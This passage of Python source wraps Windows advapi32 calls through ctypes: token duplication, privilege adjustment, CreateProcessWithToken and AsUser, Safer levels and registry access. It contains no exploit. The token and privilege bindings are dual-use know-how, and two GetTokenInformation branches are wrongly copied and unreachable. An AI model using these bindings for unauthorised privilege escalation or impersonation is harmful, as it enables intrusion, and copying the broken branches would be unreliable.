dwDesiredAccess, # _In_opt_ LPSECURITY_ATTRIBUTES lpTokenAttributes, # _In_ SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, # _In_ TOKEN_TYPE TokenType, # _Out_ PHANDLE phNewToken # ); def DuplicateTokenEx(hExistingToken, dwDesiredAccess = TOKEN_ALL_ACCESS, lpTokenAttributes = None, ImpersonationLevel = SecurityImpersonation, TokenType = TokenPrimary): _DuplicateTokenEx = windll.advapi32.DuplicateTokenEx _DuplicateTokenEx.argtypes = [HANDLE, DWORD, LPSECURITY_ATTRIBUTES, SECURITY_IMPERSONATION_LEVEL, TOKEN_TYPE, PHANDLE] _DuplicateTokenEx.restype = bool _DuplicateTokenEx.errcheck = RaiseIfZero DuplicateTokenHandle = HANDLE(INVALID_HANDLE_VALUE) _DuplicateTokenEx(hExistingToken, dwDesiredAccess, lpTokenAttributes, ImpersonationLevel, TokenType, byref(DuplicateTokenHandle)) return TokenHandle(DuplicateTokenHandle.value) # BOOL WINAPI IsTokenRestricted( # __in HANDLE TokenHandle # ); def IsTokenRestricted(hTokenHandle): _IsTokenRestricted = windll.advapi32.IsTokenRestricted _IsTokenRestricted.argtypes = [HANDLE] _IsTokenRestricted.restype = bool _IsTokenRestricted.errcheck = RaiseIfNotErrorSuccess SetLastError(ERROR_SUCCESS) return _IsTokenRestricted(hTokenHandle) # BOOL WINAPI LookupPrivilegeValue( # __in_opt LPCTSTR lpSystemName, # __in LPCTSTR lpName, # __out PLUID lpLuid # ); def LookupPrivilegeValueA(lpSystemName, lpName): _LookupPrivilegeValueA = windll.advapi32.LookupPrivilegeValueA _LookupPrivilegeValueA.argtypes = [LPSTR, LPSTR, PLUID] _LookupPrivilegeValueA.restype = bool _LookupPrivilegeValueA.errcheck = RaiseIfZero lpLuid = LUID() if not lpSystemName: lpSystemName = None _LookupPrivilegeValueA(lpSystemName, lpName, byref(lpLuid)) return lpLuid def LookupPrivilegeValueW(lpSystemName, lpName): _LookupPrivilegeValueW = windll.advapi32.LookupPrivilegeValueW _LookupPrivilegeValueW.argtypes = [LPWSTR, LPWSTR, PLUID] _LookupPrivilegeValueW.restype = bool _LookupPrivilegeValueW.errcheck = RaiseIfZero lpLuid = LUID() if not lpSystemName: lpSystemName = None _LookupPrivilegeValueW(lpSystemName, lpName, byref(lpLuid)) return lpLuid LookupPrivilegeValue = GuessStringType(LookupPrivilegeValueA, LookupPrivilegeValueW) # BOOL WINAPI LookupPrivilegeName( # __in_opt LPCTSTR lpSystemName, # __in PLUID lpLuid, # __out_opt LPTSTR lpName, # __inout LPDWORD cchName # ); def LookupPrivilegeNameA(lpSystemName, lpLuid): _LookupPrivilegeNameA = windll.advapi32.LookupPrivilegeNameA _LookupPrivilegeNameA.argtypes = [LPSTR, PLUID, LPSTR, LPDWORD] _LookupPrivilegeNameA.restype = bool _LookupPrivilegeNameA.errcheck = RaiseIfZero cchName = DWORD(0) _LookupPrivilegeNameA(lpSystemName, byref(lpLuid), NULL, byref(cchName)) lpName = ctypes.create_string_buffer("", cchName.value) _LookupPrivilegeNameA(lpSystemName, byref(lpLuid), byref(lpName), byref(cchName)) return lpName.value def LookupPrivilegeNameW(lpSystemName, lpLuid): _LookupPrivilegeNameW = windll.advapi32.LookupPrivilegeNameW _LookupPrivilegeNameW.argtypes = [LPWSTR, PLUID, LPWSTR, LPDWORD] _LookupPrivilegeNameW.restype = bool _LookupPrivilegeNameW.errcheck = RaiseIfZero cchName = DWORD(0) _LookupPrivilegeNameW(lpSystemName, byref(lpLuid), NULL, byref(cchName)) lpName = ctypes.create_unicode_buffer(u"", cchName.value) _LookupPrivilegeNameW(lpSystemName, byref(lpLuid), byref(lpName), byref(cchName)) return lpName.value LookupPrivilegeName = GuessStringType(LookupPrivilegeNameA, LookupPrivilegeNameW) # BOOL WINAPI AdjustTokenPrivileges( # __in HANDLE TokenHandle, # __in BOOL DisableAllPrivileges, # __in_opt PTOKEN_PRIVILEGES NewState, # __in DWORD BufferLength, # __out_opt PTOKEN_PRIVILEGES PreviousState, # __out_opt PDWORD ReturnLength # ); def AdjustTokenPrivileges(TokenHandle, NewState = ()): _AdjustTokenPrivileges = windll.advapi32.AdjustTokenPrivileges _AdjustTokenPrivileges.argtypes = [HANDLE, BOOL, LPVOID, DWORD, LPVOID, LPVOID] _AdjustTokenPrivileges.restype = bool # # I don't know how to allocate variable sized structures in ctypes :( # so this hack will work by using always TOKEN_PRIVILEGES of one element # and calling the API many times. This also means the PreviousState # parameter won't be supported yet as it's too much hassle. In a future # version I look forward to implementing this function correctly. # if not NewState: _AdjustTokenPrivileges.errcheck = RaiseIfZero _AdjustTokenPrivileges(TokenHandle, TRUE, NULL, 0, NULL, NULL) else: success = True errcode = 0 for (privilege, enabled) in NewState: if not isinstance(privilege, LUID): privilege = LookupPrivilegeValue(NULL, privilege) if enabled == True: flags = SE_PRIVILEGE_ENABLED elif enabled == False: flags = SE_PRIVILEGE_REMOVED elif enabled == None: flags = 0 else: flags = enabled laa = LUID_AND_ATTRIBUTES(privilege, flags) tp = TOKEN_PRIVILEGES(1, laa) if _AdjustTokenPrivileges(TokenHandle, FALSE, byref(tp), sizeof(tp), NULL, NULL) == 0: success = False errcode = GetLastError() if not success: raise ctypes.WinError(errcode) # BOOL WINAPI GetTokenInformation( # __in HANDLE TokenHandle, # __in TOKEN_INFORMATION_CLASS TokenInformationClass, # __out_opt LPVOID TokenInformation, # __in DWORD TokenInformationLength, # __out PDWORD ReturnLength # ); def GetTokenInformation(hTokenHandle, TokenInformationClass): if TokenInformationClass <= 0 or TokenInformationClass > MaxTokenInfoClass: raise ValueError("Invalid value for TokenInformationClass (%i)" % TokenInformationClass) # User SID. if TokenInformationClass == TokenUser: TokenInformation = TOKEN_USER() _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation) return TokenInformation.User.Sid.value # Owner SID. if TokenInformationClass == TokenOwner: TokenInformation = TOKEN_OWNER() _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation) return TokenInformation.Owner.value # Primary group SID. if TokenInformationClass == TokenOwner: TokenInformation = TOKEN_PRIMARY_GROUP() _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation) return TokenInformation.PrimaryGroup.value # App container SID. if TokenInformationClass == TokenAppContainerSid: TokenInformation = TOKEN_APPCONTAINER_INFORMATION() _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation) return TokenInformation.TokenAppContainer.value # Integrity level SID. if TokenInformationClass == TokenIntegrityLevel: TokenInformation = TOKEN_MANDATORY_LABEL() _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation) return TokenInformation.Label.Sid.value, TokenInformation.Label.Attributes # Logon session LUID. if TokenInformationClass == TokenOrigin: TokenInformation = TOKEN_ORIGIN() _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation) return TokenInformation.OriginatingLogonSession # Primary or impersonation token. if TokenInformationClass == TokenType: TokenInformation = TOKEN_TYPE(0) _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation) return TokenInformation.value # Elevated token. if TokenInformationClass == TokenElevation: TokenInformation = TOKEN_ELEVATION(0) _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation) return TokenInformation.value # Security impersonation level. if TokenInformationClass == TokenElevation: TokenInformation = SECURITY_IMPERSONATION_LEVEL(0) _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation) return TokenInformation.value # Session ID and other DWORD values. if TokenInformationClass in (TokenSessionId, TokenAppContainerNumber): TokenInformation = DWORD(0) _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation) return TokenInformation.value # Various boolean flags. if TokenInformationClass in (TokenSandBoxInert, TokenHasRestrictions, TokenUIAccess, TokenVirtualizationAllowed, TokenVirtualizationEnabled): TokenInformation = DWORD(0) _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation) return bool(TokenInformation.value) # Linked token. if TokenInformationClass == TokenLinkedToken: TokenInformation = TOKEN_LINKED_TOKEN(0) _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation) return TokenHandle(TokenInformation.LinkedToken.value, bOwnership = True) # Token statistics. if TokenInformationClass == TokenStatistics: TokenInformation = TOKEN_STATISTICS() _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation) return TokenInformation # TODO add a class wrapper? # Currently unsupported flags. raise NotImplementedError("TokenInformationClass(%i) not yet supported!" % TokenInformationClass) def _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation): _GetTokenInformation = windll.advapi32.GetTokenInformation _GetTokenInformation.argtypes = [HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD] _GetTokenInformation.restype = bool _GetTokenInformation.errcheck = RaiseIfZero ReturnLength = DWORD(0) TokenInformationLength = sizeof(TokenInformation) _GetTokenInformation(hTokenHandle, TokenInformationClass, byref(TokenInformation), TokenInformationLength, byref(ReturnLength)) if ReturnLength.value != TokenInformationLength: raise ctypes.WinError(ERROR_INSUFFICIENT_BUFFER) return TokenInformation def GetTokenInformation_sid(hTokenHandle): """ The original function wasn't working. this one returns the SID for the token """ _GetTokenInformation = windll.advapi32.GetTokenInformation _GetTokenInformation.argtypes = [HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD] _GetTokenInformation.restype = bool _GetTokenInformation.errcheck = RaiseIfZero ReturnLength = DWORD(0) try: #getting the correct memory size _GetTokenInformation(hTokenHandle, 1, None, ReturnLength, byref(ReturnLength)) except Exception as e: pass TokenInformationLength = ReturnLength.value ReturnLength = DWORD(0) ti = (BYTE * TokenInformationLength)() _GetTokenInformation(hTokenHandle, 1, byref(ti), TokenInformationLength, byref(ReturnLength)) if ReturnLength.value != TokenInformationLength: raise ctypes.WinError(ERROR_INSUFFICIENT_BUFFER) t = ctypes.cast(ti, POINTER(TOKEN_USER)).contents return t.User.Sid # BOOL WINAPI SetTokenInformation( # __in HANDLE TokenHandle, # __in TOKEN_INFORMATION_CLASS TokenInformationClass, # __in LPVOID TokenInformation, # __in DWORD TokenInformationLength # ); # XXX TODO # BOOL WINAPI CreateProcessWithLogonW( # __in LPCWSTR lpUsername, # __in_opt LPCWSTR lpDomain, # __in LPCWSTR lpPassword, # __in DWORD dwLogonFlags, # __in_opt LPCWSTR lpApplicationName, # __inout_opt LPWSTR lpCommandLine, # __in DWORD dwCreationFlags, # __in_opt LPVOID lpEnvironment, # __in_opt LPCWSTR lpCurrentDirectory, # __in LPSTARTUPINFOW lpStartupInfo, # __out LPPROCESS_INFORMATION lpProcessInfo # ); def CreateProcessWithLogonW(lpUsername = None, lpDomain = None, lpPassword = None, dwLogonFlags = 0, lpApplicationName = None, lpCommandLine = None, dwCreationFlags = 0, lpEnvironment = None, lpCurrentDirectory = None, lpStartupInfo = None): _CreateProcessWithLogonW = windll.advapi32.CreateProcessWithLogonW _CreateProcessWithLogonW.argtypes = [LPWSTR, LPWSTR, LPWSTR, DWORD, LPWSTR, LPWSTR, DWORD, LPVOID, LPWSTR, LPVOID, LPPROCESS_INFORMATION] _CreateProcessWithLogonW.restype = bool _CreateProcessWithLogonW.errcheck = RaiseIfZero if not lpUsername: lpUsername = None if not lpDomain: lpDomain = None if not lpPassword: lpPassword = None if not lpApplicationName: lpApplicationName = None if not lpCommandLine: lpCommandLine = None else: lpCommandLine = ctypes.create_unicode_buffer(lpCommandLine, max(MAX_PATH, len(lpCommandLine) + 1)) if not lpEnvironment: lpEnvironment = None else: lpEnvironment = ctypes.create_unicode_buffer(lpEnvironment) if not lpCurrentDirectory: lpCurrentDirectory = None if not lpStartupInfo: lpStartupInfo = STARTUPINFOW() lpStartupInfo.cb = sizeof(STARTUPINFOW) lpStartupInfo.lpReserved = 0 lpStartupInfo.lpDesktop = 0 lpStartupInfo.lpTitle = 0 lpStartupInfo.dwFlags = 0 lpStartupInfo.cbReserved2 = 0 lpStartupInfo.lpReserved2 = 0 lpProcessInformation = PROCESS_INFORMATION() lpProcessInformation.hProcess = INVALID_HANDLE_VALUE lpProcessInformation.hThread = INVALID_HANDLE_VALUE lpProcessInformation.dwProcessId = 0 lpProcessInformation.dwThreadId = 0 _CreateProcessWithLogonW(lpUsername, lpDomain, lpPassword, dwLogonFlags, lpApplicationName, lpCommandLine, dwCreationFlags, lpEnvironment, lpCurrentDirectory, byref(lpStartupInfo), byref(lpProcessInformation)) return lpProcessInformation CreateProcessWithLogonA = MakeANSIVersion(CreateProcessWithLogonW) CreateProcessWithLogon = DefaultStringType(CreateProcessWithLogonA, CreateProcessWithLogonW) # BOOL WINAPI CreateProcessWithTokenW( # __in HANDLE hToken, # __in DWORD dwLogonFlags, # __in_opt LPCWSTR lpApplicationName, # __inout_opt LPWSTR lpCommandLine, # __in DWORD dwCreationFlags, # __in_opt LPVOID lpEnvironment, # __in_opt LPCWSTR lpCurrentDirectory, # __in LPSTARTUPINFOW lpStartupInfo, # __out LPPROCESS_INFORMATION lpProcessInfo # ); def CreateProcessWithTokenW(hToken = None, dwLogonFlags = 0, lpApplicationName = None, lpCommandLine = None, dwCreationFlags = 0, lpEnvironment = None, lpCurrentDirectory = None, lpStartupInfo = None): _CreateProcessWithTokenW = windll.advapi32.CreateProcessWithTokenW _CreateProcessWithTokenW.argtypes = [HANDLE, DWORD, LPWSTR, LPWSTR, DWORD, LPVOID, LPWSTR, LPVOID, LPPROCESS_INFORMATION] _CreateProcessWithTokenW.restype = bool _CreateProcessWithTokenW.errcheck = RaiseIfZero if not hToken: hToken = None if not lpApplicationName: lpApplicationName = None if not lpCommandLine: lpCommandLine = None else: lpCommandLine = ctypes.create_unicode_buffer(lpCommandLine, max(MAX_PATH, len(lpCommandLine) + 1)) if not lpEnvironment: lpEnvironment = None else: lpEnvironment = ctypes.create_unicode_buffer(lpEnvironment) if not lpCurrentDirectory: lpCurrentDirectory = None if not lpStartupInfo: lpStartupInfo = STARTUPINFOW() lpStartupInfo.cb = sizeof(STARTUPINFOW) lpStartupInfo.lpReserved = 0 lpStartupInfo.lpDesktop = 0 lpStartupInfo.lpTitle = 0 lpStartupInfo.dwFlags = 0 lpStartupInfo.cbReserved2 = 0 lpStartupInfo.lpReserved2 = 0 lpProcessInformation = PROCESS_INFORMATION() lpProcessInformation.hProcess = INVALID_HANDLE_VALUE lpProcessInformation.hThread = INVALID_HANDLE_VALUE lpProcessInformation.dwProcessId = 0 lpProcessInformation.dwThreadId = 0 _CreateProcessWithTokenW(hToken, dwLogonFlags, lpApplicationName, lpCommandLine, dwCreationFlags, lpEnvironment, lpCurrentDirectory, byref(lpStartupInfo), byref(lpProcessInformation)) return lpProcessInformation CreateProcessWithTokenA = MakeANSIVersion(CreateProcessWithTokenW) CreateProcessWithToken = DefaultStringType(CreateProcessWithTokenA, CreateProcessWithTokenW) # BOOL WINAPI CreateProcessAsUser( # __in_opt HANDLE hToken, # __in_opt LPCTSTR lpApplicationName, # __inout_opt LPTSTR lpCommandLine, # __in_opt LPSECURITY_ATTRIBUTES lpProcessAttributes, # __in_opt LPSECURITY_ATTRIBUTES lpThreadAttributes, # __in BOOL bInheritHANDLEs, # __in DWORD dwCreationFlags, # __in_opt LPVOID lpEnvironment, # __in_opt LPCTSTR lpCurrentDirectory, # __in LPSTARTUPINFO lpStartupInfo, # __out LPPROCESS_INFORMATION lpProcessInformation # ); def CreateProcessAsUserA(hToken = None, lpApplicationName = None, lpCommandLine=None, lpProcessAttributes=None, lpThreadAttributes=None, bInheritHANDLEs=False, dwCreationFlags=0, lpEnvironment=None, lpCurrentDirectory=None, lpStartupInfo=None): _CreateProcessAsUserA = windll.advapi32.CreateProcessAsUserA _CreateProcessAsUserA.argtypes = [HANDLE, LPSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPSTR, LPVOID, LPPROCESS_INFORMATION] _CreateProcessAsUserA.restype = bool _CreateProcessAsUserA.errcheck = RaiseIfZero if not lpApplicationName: lpApplicationName = None if not lpCommandLine: lpCommandLine = None else: lpCommandLine = ctypes.create_string_buffer(lpCommandLine.encode('ascii'), max(MAX_PATH, len(lpCommandLine) + 1)) if not lpEnvironment: lpEnvironment = None else: lpEnvironment = ctypes.create_string_buffer(lpEnvironment.encode('ascii')) if not lpCurrentDirectory: lpCurrentDirectory = None if not lpProcessAttributes: lpProcessAttributes = None else: lpProcessAttributes = byref(lpProcessAttributes) if not lpThreadAttributes: lpThreadAttributes = None else: lpThreadAttributes = byref(lpThreadAttributes) if not lpStartupInfo: lpStartupInfo = STARTUPINFO() lpStartupInfo.cb = sizeof(STARTUPINFO) lpStartupInfo.lpReserved = 0 lpStartupInfo.lpDesktop = 0 lpStartupInfo.lpTitle = 0 lpStartupInfo.dwFlags = 0 lpStartupInfo.cbReserved2 = 0 lpStartupInfo.lpReserved2 = 0 lpProcessInformation = PROCESS_INFORMATION() lpProcessInformation.hProcess = INVALID_HANDLE_VALUE lpProcessInformation.hThread = INVALID_HANDLE_VALUE lpProcessInformation.dwProcessId = 0 lpProcessInformation.dwThreadId = 0 _CreateProcessAsUserA(hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bool(bInheritHANDLEs), dwCreationFlags, lpEnvironment, lpCurrentDirectory, byref(lpStartupInfo), byref(lpProcessInformation)) return lpProcessInformation def CreateProcessAsUserW(hToken = None, lpApplicationName = None, lpCommandLine=None, lpProcessAttributes=None, lpThreadAttributes=None, bInheritHANDLEs=False, dwCreationFlags=0, lpEnvironment=None, lpCurrentDirectory=None, lpStartupInfo=None): _CreateProcessAsUserW = windll.advapi32.CreateProcessAsUserW _CreateProcessAsUserW.argtypes = [HANDLE, LPWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPWSTR, LPVOID, LPPROCESS_INFORMATION] _CreateProcessAsUserW.restype = bool _CreateProcessAsUserW.errcheck = RaiseIfZero if not lpApplicationName: lpApplicationName = None if not lpCommandLine: lpCommandLine = None else: lpCommandLine = ctypes.create_unicode_buffer(lpCommandLine, max(MAX_PATH, len(lpCommandLine) + 1)) if not lpEnvironment: lpEnvironment = None else: lpEnvironment = ctypes.create_unicode_buffer(lpEnvironment) if not lpCurrentDirectory: lpCurrentDirectory = None if not lpProcessAttributes: lpProcessAttributes = None else: lpProcessAttributes = byref(lpProcessAttributes) if not lpThreadAttributes: lpThreadAttributes = None else: lpThreadAttributes = byref(lpThreadAttributes) if not lpStartupInfo: lpStartupInfo = STARTUPINFO() lpStartupInfo.cb = sizeof(STARTUPINFO) lpStartupInfo.lpReserved = 0 lpStartupInfo.lpDesktop = 0 lpStartupInfo.lpTitle = 0 lpStartupInfo.dwFlags = 0 lpStartupInfo.cbReserved2 = 0 lpStartupInfo.lpReserved2 = 0 lpProcessInformation = PROCESS_INFORMATION() lpProcessInformation.hProcess = INVALID_HANDLE_VALUE lpProcessInformation.hThread = INVALID_HANDLE_VALUE lpProcessInformation.dwProcessId = 0 lpProcessInformation.dwThreadId = 0 _CreateProcessAsUserW(hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bool(bInheritHANDLEs), dwCreationFlags, lpEnvironment, lpCurrentDirectory, byref(lpStartupInfo), byref(lpProcessInformation)) return lpProcessInformation CreateProcessAsUser = GuessStringType(CreateProcessAsUserA, CreateProcessAsUserW) # VOID CALLBACK WaitChainCallback( # HWCT WctHANDLE, # DWORD_PTR Context, # DWORD CallbackStatus, # LPDWORD NodeCount, # PWAITCHAIN_NODE_INFO NodeInfoArray, # LPBOOL IsCycle # ); PWAITCHAINCALLBACK = WINFUNCTYPE(HWCT, DWORD_PTR, DWORD, LPDWORD, PWAITCHAIN_NODE_INFO, LPBOOL) # HWCT WINAPI OpenThreadWaitChainSession( # __in DWORD Flags, # __in_opt PWAITCHAINCALLBACK callback # ); def OpenThreadWaitChainSession(Flags = 0, callback = None): _OpenThreadWaitChainSession = windll.advapi32.OpenThreadWaitChainSession _OpenThreadWaitChainSession.argtypes = [DWORD, PVOID] _OpenThreadWaitChainSession.restype = HWCT _OpenThreadWaitChainSession.errcheck = RaiseIfZero if callback is not None: callback = PWAITCHAINCALLBACK(callback) aHANDLE = _OpenThreadWaitChainSession(Flags, callback) return ThreadWaitChainSessionHANDLE(aHANDLE) # BOOL WINAPI GetThreadWaitChain( # _In_ HWCT WctHANDLE, # _In_opt_ DWORD_PTR Context, # _In_ DWORD Flags, # _In_ DWORD ThreadId, # _Inout_ LPDWORD NodeCount, # _Out_ PWAITCHAIN_NODE_INFO NodeInfoArray, # _Out_ LPBOOL IsCycle # ); def GetThreadWaitChain(WctHANDLE, Context = None, Flags = WCTP_GETINFO_ALL_FLAGS, ThreadId = -1, NodeCount = WCT_MAX_NODE_COUNT): _GetThreadWaitChain = windll.advapi32.GetThreadWaitChain _GetThreadWaitChain.argtypes = [HWCT, LPDWORD, DWORD, DWORD, LPDWORD, PWAITCHAIN_NODE_INFO, LPBOOL] _GetThreadWaitChain.restype = bool _GetThreadWaitChain.errcheck = RaiseIfZero dwNodeCount = DWORD(NodeCount) NodeInfoArray = (WAITCHAIN_NODE_INFO * NodeCount)() IsCycle = BOOL(0) _GetThreadWaitChain(WctHANDLE, Context, Flags, ThreadId, byref(dwNodeCount), ctypes.cast(ctypes.pointer(NodeInfoArray), PWAITCHAIN_NODE_INFO), byref(IsCycle)) while dwNodeCount.value > NodeCount: NodeCount = dwNodeCount.value NodeInfoArray = (WAITCHAIN_NODE_INFO * NodeCount)() _GetThreadWaitChain(WctHANDLE, Context, Flags, ThreadId, byref(dwNodeCount), ctypes.cast(ctypes.pointer(NodeInfoArray), PWAITCHAIN_NODE_INFO), byref(IsCycle)) return ( [ WaitChainNodeInfo(NodeInfoArray[index]) for index in xrange(dwNodeCount.value) ], bool(IsCycle.value) ) # VOID WINAPI CloseThreadWaitChainSession( # __in HWCT WctHANDLE # ); def CloseThreadWaitChainSession(WctHANDLE): _CloseThreadWaitChainSession = windll.advapi32.CloseThreadWaitChainSession _CloseThreadWaitChainSession.argtypes = [HWCT] _CloseThreadWaitChainSession(WctHANDLE) # BOOL WINAPI SaferCreateLevel( # __in DWORD dwScopeId, # __in DWORD dwLevelId, # __in DWORD OpenFlags, # __out SAFER_LEVEL_HANDLE *pLevelHANDLE, # __reserved LPVOID lpReserved # ); def SaferCreateLevel(dwScopeId=SAFER_SCOPEID_USER, dwLevelId=SAFER_LEVELID_NORMALUSER, OpenFlags=0): _SaferCreateLevel = windll.advapi32.SaferCreateLevel _SaferCreateLevel.argtypes = [DWORD, DWORD, DWORD, POINTER(SAFER_LEVEL_HANDLE), LPVOID] _SaferCreateLevel.restype = BOOL _SaferCreateLevel.errcheck = RaiseIfZero hLevelHANDLE = SAFER_LEVEL_HANDLE(INVALID_HANDLE_VALUE) _SaferCreateLevel(dwScopeId, dwLevelId, OpenFlags, byref(hLevelHANDLE), None) return SaferLevelHANDLE(hLevelHANDLE.value) # BOOL WINAPI SaferIdentifyLevel( # __in DWORD dwNumProperties, # __in_opt PSAFER_CODE_PROPERTIES pCodeProperties, # __out SAFER_LEVEL_HANDLE *pLevelHANDLE, # __reserved LPVOID lpReserved # ); # XXX TODO # BOOL WINAPI SaferComputeTokenFromLevel( # __in SAFER_LEVEL_HANDLE LevelHANDLE, # __in_opt HANDLE InAccessToken, # __out PHANDLE OutAccessToken, # __in DWORD dwFlags, # __inout_opt LPVOID lpReserved # ); def SaferComputeTokenFromLevel(LevelHANDLE, InAccessToken=None, dwFlags=0): _SaferComputeTokenFromLevel = windll.advapi32.SaferComputeTokenFromLevel _SaferComputeTokenFromLevel.argtypes = [SAFER_LEVEL_HANDLE, HANDLE, PHANDLE, DWORD, LPDWORD] _SaferComputeTokenFromLevel.restype = BOOL _SaferComputeTokenFromLevel.errcheck = RaiseIfZero OutAccessToken = HANDLE(INVALID_HANDLE_VALUE) lpReserved = DWORD(0) _SaferComputeTokenFromLevel(LevelHANDLE, InAccessToken, byref(OutAccessToken), dwFlags, byref(lpReserved)) return TokenHandle(OutAccessToken.value), lpReserved.value # BOOL WINAPI SaferCloseLevel( # __in SAFER_LEVEL_HANDLE hLevelHANDLE # ); def SaferCloseLevel(hLevelHANDLE): _SaferCloseLevel = windll.advapi32.SaferCloseLevel _SaferCloseLevel.argtypes = [SAFER_LEVEL_HANDLE] _SaferCloseLevel.restype = BOOL _SaferCloseLevel.errcheck = RaiseIfZero if hasattr(hLevelHANDLE, 'value'): _SaferCloseLevel(hLevelHANDLE.value) else: _SaferCloseLevel(hLevelHANDLE) # BOOL SaferiIsExecutableFileType( # __in LPCWSTR szFullPath, # __in BOOLEAN bFromShellExecute # ); def SaferiIsExecutableFileType(szFullPath, bFromShellExecute = False): _SaferiIsExecutableFileType = windll.advapi32.SaferiIsExecutableFileType _SaferiIsExecutableFileType.argtypes = [LPWSTR, BOOLEAN] _SaferiIsExecutableFileType.restype = BOOL _SaferiIsExecutableFileType.errcheck = RaiseIfLastError SetLastError(ERROR_SUCCESS) return bool(_SaferiIsExecutableFileType(unicode(szFullPath), bFromShellExecute)) # useful alias since I'm likely to misspell it :P SaferIsExecutableFileType = SaferiIsExecutableFileType #------------------------------------------------------------------------------ # LONG WINAPI RegCloseKey( # __in HKEY hKey # ); def RegCloseKey(hKey): if hasattr(hKey, 'value'): value = hKey.value else: value = hKey if value in ( HKEY_CLASSES_ROOT, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE, HKEY_USERS, HKEY_PERFORMANCE_DATA, HKEY_CURRENT_CONFIG ): return _RegCloseKey = windll.advapi32.RegCloseKey _RegCloseKey.argtypes = [HKEY] _RegCloseKey.restype = LONG _RegCloseKey.errcheck = RaiseIfNotErrorSuccess _RegCloseKey(hKey) # LONG WINAPI RegConnectRegistry( # __in_opt LPCTSTR lpMachineName, # __in HKEY hKey, # __out PHKEY phkResult # ); def RegConnectRegistryA(lpMachineName = None, hKey = HKEY_LOCAL_MACHINE): _RegConnectRegistryA = windll.advapi32.RegConnectRegistryA _RegConnectRegistryA.argtypes = [LPSTR, HKEY, PHKEY] _RegConnectRegistryA.restype = LONG _RegConnectRegistryA.errcheck = RaiseIfNotErrorSuccess hkResult = HKEY(INVALID_HANDLE_VALUE) _RegConnectRegistryA(lpMachineName, hKey, byref(hkResult)) return RegistryKeyHANDLE(hkResult.value) def RegConnectRegistryW(lpMachineName = None, hKey = HKEY_LOCAL_MACHINE): _RegConnectRegistryW = windll.advapi32.RegConnectRegistryW _RegConnectRegistryW.argtypes = [LPWSTR, HKEY, PHKEY] _RegConnectRegistryW.restype = LONG _RegConnectRegistryW.errcheck = RaiseIfNotErrorSuccess hkResult = HKEY(INVALID_HANDLE_VALUE) _RegConnectRegistryW(lpMachineName, hKey, byref(hkResult)) return RegistryKeyHANDLE(hkResult.value) RegConnectRegistry = GuessStringType(RegConnectRegistryA, RegConnectRegistryW) # LONG WINAPI RegCreateKey( # __in HKEY hKey, # __in_opt LPCTSTR lpSubKey, # __out PHKEY phkResult # ); def RegCreateKeyA(hKey = HKEY_LOCAL_MACHINE, lpSubKey = None): _RegCreateKeyA = windll.advapi32.RegCreateKeyA _RegCreateKeyA.argtypes = [HKEY, LPSTR, PHKEY] _RegCreateKeyA.restype = LONG _RegCreateKeyA.errcheck = RaiseIfNotErrorSuccess hkResult = HKEY(INVALID_HANDLE_VALUE) _RegCreateKeyA(hKey, lpSubKey, byref(hkResult)) return RegistryKeyHANDLE(hkResult.value) def RegCreateKeyW(hKey = HKEY_LOCAL_MACHINE, lpSubKey = None): _RegCreateKeyW = windll.advapi32.RegCreateKeyW _RegCreateKeyW.argtypes = [HKEY, LPWSTR, PHKEY] _RegCreateKeyW.restype = LONG _RegCreateKeyW.errcheck = RaiseIfNotErrorSuccess hkResult = HKEY(INVALID_HANDLE_VALUE) _RegCreateKeyW(hKey, lpSubKey, byref(hkResult)) return RegistryKeyHANDLE(hkResult.value) RegCreateKey = GuessStringType(RegCreateKeyA, RegCreateKeyW) # LONG WINAPI RegCreateKeyEx( # __in HKEY hKey, # __in LPCTSTR lpSubKey, # __reserved DWORD Reserved, # __in_opt LPTSTR lpClass, # __in DWORD dwOptions, # __in REGSAM samDesired, # __in_opt LPSECURITY_ATTRIBUTES lpSecurityAttributes, # __out PHKEY phkResult, # __out_opt LPDWORD lpdwDisposition # ); # XXX TODO # LONG WINAPI RegOpenKey( # __in HKEY hKey, # __in_opt LPCTSTR lpSubKey, # __out PHKEY phkResult # ); def RegOpenKeyA(hKey = HKEY_LOCAL_MACHINE, lpSubKey = None): _RegOpenKeyA = windll.advapi32.RegOpenKeyA _RegOpenKeyA.argtypes = [HKEY, LPSTR, PHKEY] _RegOpenKeyA.restype = LONG _RegOpenKeyA.errcheck = RaiseIfNotErrorSuccess hkResult = HKEY(INVALID_HANDLE_VALUE) _RegOpenKeyA(hKey, lpSubKey, byref(hkResult)) return RegistryKeyHANDLE(hkResult.value) def RegOpenKeyW(hKey = HKEY_LOCAL_MACHINE, lpSubKey = None): _RegOpenKeyW = windll.advapi32.RegOpenKeyW _RegOpenKeyW.argtypes = [HKEY, LPWSTR, PHKEY] _RegOpenKeyW.restype = LONG _RegOpenKeyW.errcheck = RaiseIfNotErrorSuccess hkResult = HKEY(INVALID_HANDLE_VALUE) _RegOpenKeyW(hKey, lpSubKey, byref(hkResult)) return RegistryKeyHANDLE(hkResult.value) RegOpenKey = GuessStringType(RegOpenKeyA, RegOpenKeyW) # LONG WINAPI RegOpenKeyEx( # __in HKEY hKey, # __in_opt LPCTSTR lpSubKey, # __reserved DWORD ulOptions, # __in REGSAM 